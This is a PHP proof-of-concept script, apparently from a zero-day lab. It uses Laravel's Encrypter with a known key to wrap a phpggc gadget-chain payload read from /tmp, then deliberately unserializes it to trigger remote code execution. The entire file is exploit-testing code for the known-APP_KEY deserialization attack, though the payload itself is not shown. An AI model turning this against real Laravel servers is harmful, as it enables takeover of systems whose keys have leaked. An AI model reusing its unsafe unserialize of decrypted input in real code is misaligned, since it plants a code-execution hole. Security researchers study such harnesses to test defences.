<?php
require '/home/c/ZERODAY/lab/target/opendk/vendor/autoload.php';

// Simulate Laravel encryption/decryption
$key = str_repeat('A', 32); // Our known key

$encrypter = new Illuminate\Encryption\Encrypter($key, 'aes-256-cbc');

// Test encryption/decryption
$test = "Hello World";
$encrypted = $encrypter->encrypt($test);
echo "Encrypted: " . substr($encrypted, 0, 50) . "...\n";

$decrypted = $encrypter->decrypt($encrypted);
echo "Decrypted: $decrypted\n\n";

// Now test with our payload
$payload = file_get_contents('/tmp/phpggc_payload.bin');
echo "Payload size: " . strlen($payload) . "\n";

// Encrypt payload
$encrypted_payload = $encrypter->encrypt($payload);
echo "Encrypted payload: " . substr($encrypted_payload, 0, 50) . "...\n";

// Decrypt and unserialize
$decrypted_payload = $encrypter->decrypt($encrypted_payload);
echo "Decrypted size: " . strlen($decrypted_payload) . "\n";

echo "\n=== TRIGGERING RCE ===\n";
$obj = @unserialize($decrypted_payload);
unset($obj);
gc_collect_cycles();
echo "=== END ===\n";
